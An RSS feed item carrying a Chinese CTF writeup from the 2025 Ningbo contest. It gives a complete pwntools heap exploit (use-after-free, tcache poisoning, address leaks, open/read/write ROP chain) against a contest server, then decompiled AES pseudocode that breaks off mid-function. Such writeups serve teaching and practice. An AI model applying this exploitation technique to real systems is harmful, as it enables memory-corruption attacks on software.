<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/tags/rsa/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/tags/rsa/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Sun, 17 Aug 2025 16:17:12 +0800</lastBuildDate><item><title>2025宁波市第八届网络安全大赛初赛Writeup</title><link>https://h4cker.zip/322f5b/</link><pubDate>Sun, 17 Aug 2025 16:17:12 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/322f5b/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>今天上午初赛结束了，感谢两个队友带，<a
  href="https://dr0n1.github.io/" rel="nofollow noopener noreferrer" target="_blank"
  ><strong>dr0n</strong><span style="user-select:none"> ↗</span></a
>
和<a
  href="https://rot-will.github.io/" rel="nofollow noopener noreferrer" target="_blank"
  ><strong>Rot-will</strong><span style="user-select:none"> ↗</span></a
>
</p>
<p>槽点有点多，比如几个题AI秒出，我觉得以后出题都要反AI了，可能就留一个签到题AI能做，如果反AI，可能我真啥都不会了</p>
<p>AI这东西做逆向和密码非常厉害，逆向读伪代码和分析加解密，而这正是LLMs擅长的理解能力。做Web和Misc不太行，因为这两个用到的工具和环境太多。</p>
<p>两个WEB都是平平无奇登陆框，都做不出来，给的hint也做不出来，但是闲鱼一把梭。。。</p>
<p>两个杂项也古怪，队友做麻了，什么二维码小点点、博多密码，rgb转换之类</p>
<p>还有，我们做完4题已经第三名了，其他实在做不出来，就算其他队伍跟我们做一样的题，我们有前三血，那也应该排前面</p>
<p>但是最后三十分钟，我们连掉三十多名，我刷新一下掉一名，他们全都爆发了，不过应该能进决赛</p>
<p>部分附件在：https://github.com/TajangSec/Ningbo-8th-CSC-Pre</p>
<h2 id="pwn">PWN<a class="anchor" href="#pwn">#</a></h2>
<h3 id="entity_cache">entity_cache<a class="anchor" href="#entity_cache">#</a></h3>
<p>存在uaf</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">LibcSearcher</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="n">ind</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Code: &#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;1&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;id &gt;&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;size &gt;&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;fragment &gt;&#39;</span><span class="p">,</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">ind</span><span class="p">,</span><span class="n">data</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Code: &#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;2&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;id &gt;&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;stream &gt;&#39;</span><span class="p">,</span><span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">ind</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Code: &#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;3&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;id &gt;&#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">ind</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Code: &#39;</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;4&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">p</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;id &gt; &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">ind</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="c1">#p=process(&#39;entity_cache&#39;)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;139.155.126.78&#39;</span><span class="p">,</span><span class="s1">&#39;26428&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;[DEBUG INFO]&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./entity_cache&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="n">libc</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./libc.so&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="o">=</span><span class="nb">int</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readline</span><span class="p">(),</span><span class="mi">16</span><span class="p">)</span><span class="o">-</span><span class="mh">0xa1a</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="n">syscall</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="o">+</span><span class="mh">0xbcc</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="s1">&#39;flag&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="s1">&#39;/flag&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="n">free</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="n">free</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="n">show</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="n">heap0</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">,</span><span class="n">drop</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">heap0</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="n">heap3</span><span class="o">=</span><span class="n">heap0</span><span class="o">+</span><span class="mh">0x100</span><span class="o">*</span><span class="mi">3</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="n">heap2</span><span class="o">=</span><span class="n">heap0</span><span class="o">+</span><span class="mh">0x100</span><span class="o">*</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">
</span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="o">.</span><span class="n">address</span><span class="o">+</span><span class="mh">0x202060</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="n">add</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">)</span> <span class="c1"># cache</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">e</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="n">puts</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">,</span><span class="n">drop</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">puts</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl"><span class="n">libc</span><span class="o">.</span><span class="n">address</span><span class="o">=</span><span class="n">puts</span><span class="o">-</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="n">env</span><span class="o">=</span><span class="n">libc</span><span class="o">.</span><span class="n">symbols</span><span class="p">[</span><span class="s1">&#39;environ&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">
</span></span><span class="line"><span class="ln">54</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">env</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl"><span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="n">stack</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">,</span><span class="n">drop</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">)[:</span><span class="mi">8</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">stack</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">stack</span><span class="o">-</span><span class="mh">0x120</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl"><span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl"><span class="n">stack1</span><span class="o">=</span><span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="o">.</span><span class="n">readuntil</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">,</span><span class="n">drop</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">)[:</span><span class="mi">8</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">stack1</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">
</span></span><span class="line"><span class="ln">63</span><span class="cl">
</span></span><span class="line"><span class="ln">64</span><span class="cl"><span class="n">main_stack</span><span class="o">=</span><span class="n">stack</span><span class="o">-</span><span class="mh">0x120</span><span class="o">+</span><span class="mi">8</span><span class="o">*</span><span class="mi">2</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span><span class="n">p64</span><span class="p">(</span><span class="n">main_stack</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl"><span class="c1">#gdb.attach(p)</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl"><span class="n">pause</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">
</span></span><span class="line"><span class="ln">69</span><span class="cl"><span class="n">rdi</span><span class="o">=</span><span class="mh">0x000000000002164f</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl"><span class="n">rsi</span><span class="o">=</span><span class="mh">0x0000000000023a6a</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="ln">71</span><span class="cl"><span class="n">rdx</span><span class="o">=</span><span class="mh">0x0000000000001b96</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl"><span class="n">rax</span><span class="o">=</span><span class="mh">0x000000000001b500</span><span class="o">+</span><span class="n">libc</span><span class="o">.</span><span class="n">address</span>
</span></span><span class="line"><span class="ln">73</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="n">p64</span><span class="p">(</span><span class="n">rax</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">heap3</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rsi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdx</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">syscall</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl"><span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">rax</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rsi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">heap2</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdx</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x50</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">syscall</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl"><span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">rax</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rsi</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">heap2</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdx</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x50</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">syscall</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)))</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">79</span><span class="cl">
</span></span><span class="line"><span class="ln">80</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h2 id="reverse">REVERSE<a class="anchor" href="#reverse">#</a></h2>
<h3 id="sea_1">SEA_1<a class="anchor" href="#sea_1">#</a></h3>
<p>我不太会逆向，AI告诉我这是AES_ECB</p>
<p>其他选手说，贴在claude desktop或者vscode 的mcp里面，AI秒出，自己根本不用动</p>
<p>伪代码：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">size_t</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [esp+190h] [ebp-268h]
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">int</span> <span class="n">v5</span><span class="p">[</span><span class="mi">72</span><span class="p">];</span> <span class="c1">// [esp+19Ch] [ebp-25Ch] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">char</span> <span class="n">v6</span><span class="p">[</span><span class="mi">44</span><span class="p">];</span> <span class="c1">// [esp+2BCh] [ebp-13Ch] BYREF
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="kt">char</span> <span class="n">Buf1</span><span class="p">[</span><span class="mi">136</span><span class="p">];</span> <span class="c1">// [esp+2E8h] [ebp-110h] BYREF
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="kt">char</span> <span class="n">Str</span><span class="p">[</span><span class="mi">132</span><span class="p">];</span> <span class="c1">// [esp+370h] [ebp-88h] BYREF
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="nf">__CheckForDebuggerJustMyCode</span><span class="p">(</span><span class="o">&amp;</span><span class="n">unk_45A019</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">Str</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x80u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">Buf1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x80u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="nf">sub_401E00</span><span class="p">(</span><span class="s">&#34;Please input the flag and I will verify it: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">sub_401E70</span><span class="p">(</span><span class="s">&#34;%128s&#34;</span><span class="p">,</span> <span class="n">Str</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="nf">strcpy</span><span class="p">(</span><span class="n">v6</span><span class="p">,</span> <span class="s">&#34;58453eec4d16ae234a10b597dfe1f6a6&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="k">if</span> <span class="p">(</span> <span class="nf">sub_4016B0</span><span class="p">(</span><span class="n">v5</span><span class="p">,</span> <span class="n">v6</span><span class="p">,</span> <span class="mi">256</span><span class="p">)</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">Str</span><span class="p">);</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">16</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="p">{</span>
